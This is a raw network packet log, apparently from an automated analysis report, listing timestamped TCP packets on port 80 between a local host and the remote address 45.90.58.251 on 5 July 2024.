Jul 5, 2024 07:48:42.088469028 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.088478088 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.088510990 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.090064049 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.090121031 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.090131044 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.090174913 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.090204000 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.090208054 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.090220928 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.090260029 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.090276957 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.090493917 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.090534925 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.090559959 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.090570927 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.090600014 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.091358900 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.091432095 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.091443062 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.091478109 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.115385056 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.115405083 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.115415096 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.115446091 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.115468025 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.115525961 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.115537882 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.115546942 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.115571976 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.115638971 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.115685940 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.115696907 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.115732908 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.159049034 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.159101963 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.159116030 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.159145117 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.159543991 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.159554958 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.159595013 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.172084093 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.172139883 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.172149897 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.172193050 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.172219992 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.172229052 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.172239065 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.172272921 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.193634987 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.193696022 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.193706989 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.193761110 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.193922043 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.193931103 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.193941116 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.193964005 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.194027901 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.194037914 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.194046974 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.194056988 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.194072962 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.194144964 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.194154978 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.194164991 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.194185972 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.194281101 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.194288969 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.194298029 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.194307089 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.194322109 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.194348097 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.194422007 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.194432020 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.194439888 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.194463968 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.194473982 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.195998907 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.196053982 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.196063995 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.196105957 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.196108103 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.196119070 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.196147919 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.196218014 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.196258068 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.196487904 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.196535110 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.196546078 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.196578979 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.197309971 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.197318077 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.197326899 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.197336912 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.197359085 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.198554993 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.221748114 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.221812963 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.221827984 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.221858025 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.221888065 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.221951962 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.221963882 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.221972942 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.221983910 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.222026110 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.222039938 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.222094059 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.265587091 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.265793085 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.265816927 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.265825033 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.265836000 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.265845060 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.265853882 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.265866041 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.265866041 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.265889883 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.265891075 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.265901089 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.265918016 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.265928030 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.278075933 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.278177977 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.278188944 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.278222084 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.278228998 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.278232098 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.278242111 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.278250933 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.278280973 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.299706936 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.299886942 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.299911022 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.299920082 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.299930096 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.299938917 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.299957991 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.299988985 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.299990892 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.299998045 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.300007105 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.300018072 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.300029993 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.300038099 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.300124884 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.300134897 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.300168037 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.300323009 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.300415993 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.300426960 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.300441980 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.300450087 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.300451040 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.300457001 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.300488949 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.300646067 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.300657034 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.300664902 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.300700903 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.302009106 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.302052975 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.302061081 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.302071095 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.302107096 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.302141905 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.302151918 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.302181959 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.302236080 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.302465916 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.302520990 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.302531004 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.302561998 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.302588940 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.303431988 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.303451061 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.303462029 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.303491116 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.327749014 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.327771902 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.327800035 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.327847004 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.327931881 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.327949047 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.327958107 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.327967882 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.328078985 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.328087091 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.371845007 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.371866941 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.371872902 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.371898890 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.371901989 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.371927977 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.371951103 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.371964931 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.371967077 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.371983051 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.372009039 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.372102976 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.372112989 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.372122049 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.372143984 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.372167110 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.384161949 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.384207964 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.384231091 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.384283066 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.384310961 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.384320974 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.384329081 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.384354115 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.384366989 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.405805111 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.405967951 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.405977964 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.406009912 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.406019926 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.406021118 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.406028986 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.406039000 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.406052113 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.406059027 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.406075001 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.406078100 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.406090021 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.406095028 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.406121016 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.406311035 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.406321049 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.406327009 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.406332016 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.406347036 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.406357050 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.406368971 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.406380892 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.406400919 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.406465054 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.406481028 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.406491995 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.406533003 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.406677008 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.406687975 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.406692982 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.406740904 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.408200026 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.408277988 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.408305883 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.408324957 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.408345938 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.408360004 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.408368111 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.408374071 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.408406973 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.408416033 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.408451080 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.408550024 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.408561945 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.408575058 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.408606052 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.409477949 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.409492016 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.409512043 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.409517050 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.409559011 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.433738947 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.433752060 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.433765888 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.433809042 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.433891058 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.433911085 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.433924913 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.433938026 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.433944941 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.433978081 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.434011936 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.434026003 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.434046030 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.478270054 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.478346109 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.478373051 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.478387117 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.478423119 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.478499889 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.478513002 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.478527069 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.478539944 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.478549957 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.478554010 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.478575945 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:42.481791019 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:42.481832981 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:45.914134979 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:45.919137001 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:45.919203997 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:45.920495987 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:45.925209999 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.591306925 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.591337919 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.591351986 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.591367960 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.591382027 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.591394901 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.591408968 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.591423988 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.591437101 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.591476917 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.591512918 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.591594934 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.591633081 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.596232891 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.596280098 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.596297026 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.596321106 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.636552095 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.698489904 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.698507071 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.698522091 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.698576927 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.698784113 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.698798895 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.698813915 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.698829889 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.698853016 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:46.699254990 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.699269056 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.699282885 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.699713945 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.699728966 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.699743986 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.699889898 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.700036049 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:46.700659990 CEST	80	63881	45.90.58.251	192.168.2.4
